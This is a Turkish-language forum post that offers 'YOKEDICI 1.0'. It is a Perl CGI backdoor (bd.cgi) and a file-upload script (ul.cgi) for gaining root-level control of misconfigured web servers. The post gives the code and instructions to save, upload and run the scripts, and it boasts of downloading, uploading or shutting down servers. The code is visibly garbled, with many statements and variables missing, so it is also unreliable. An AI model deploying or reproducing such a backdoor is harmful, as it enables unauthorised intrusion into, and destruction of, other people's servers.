eywallah saolasında biras çalmışsın gibime geldi meric?

Bu Birazdan Verecegim Kodlar Perl / CGI Scriptidir. Server Yanlis Kuruldugunda Bu Bug Meydana Cikar Ve Greceksiniz Cok Tehlikeli Bir Bugdur. Bug Sayesinde Servere ROOT Olarak Baglanabilir Ve Hemen Hemen Tüm ROOT Yetkilerine Sahip Olabilirsiniz. Servere Download Upload Yapabilir Hatta Isterseniz Serveri Tamamen Kapatabilirsiniz :)))Kodlar1:#YOKEDICI 1.0 - CGI Backdoor#Variablen $name = "bd. cgi"; #Scriptin Ismi$uploadname = "ul. cgi"; #Upload Scriptinin Ismi$rootfolder = "../root/";$pos = "c:\\httpd\\cgi-bin\\"; #Scriptlerin Pathi#Code &parse_form;if elsif ($in eq "1") {$pfad = "$in $in ";open ;@inhalt=<DATEI>;close ;$pfad = "$rootfolder$in ";open ;foreach $zeile print "Content-Type: text/html\n\n";print "<html><head><title>Dosya Indir</title></head>";print "<body><font size=\"2\" face=\"Verdana, Arial\">";print "Bu $in Dosyayi <a href=\"../$in \">Burdan</a> Indirebilirsin.";print "</font></form></body></html>";}elsif ($in eq "2") elsif ($in eq "3") elsif ($in eq "4") sub parse_form {local ;# Read in text$ENV = tr/a-z/A-Z/;if else{$buffer = $ENV ;}@pairs = split ;foreach $pair { = split ;$value = tr/+/ /;$value = s/%( )/pack("C", hex($1))/eg;$in = $value;}}Evet Arkadaslar Bu Kodlari Text Editore Yaziyoruz Ve bd. cgi Olarak Kayit Ediyoruz. Yalniz Yukarida Belirtilen Pathleri Servere Gre Degistirmeniz Gerekecek. Kodlar2:#!/usr/bin/perlbinmode STDIN;read STDIN, $Daten, $ENV ;@Teile = split / . /, $Daten;@Datei = split /\n/, $Teile , 5;while ($Datei = /\\/) $Datei = s/"//;chop $Datei ;chop $Datei ; chop $Datei ;open DATEI, ">$Datei ";binmode DATEI;print DATEI $Datei ;close DATEI;print "Content-type: text/html\n\nUpload Basarili!";Bu Kodda Hicbirsey Degistirmenize Gerek Yok. Bunuda Text Editore Yazip Ismini ul. cgi Olarak Kayit Ediyoruz. Evet Arkadaslar YOKEDICImiz Hazir :))))Simdi Bu Dosyalari Yüklüyoruz Ve Adres Barda bd. cgiyi Calistiriyoruz... Kolay Gelsin :)) I"m Not a Hacker I"m a "" Security "" Professonial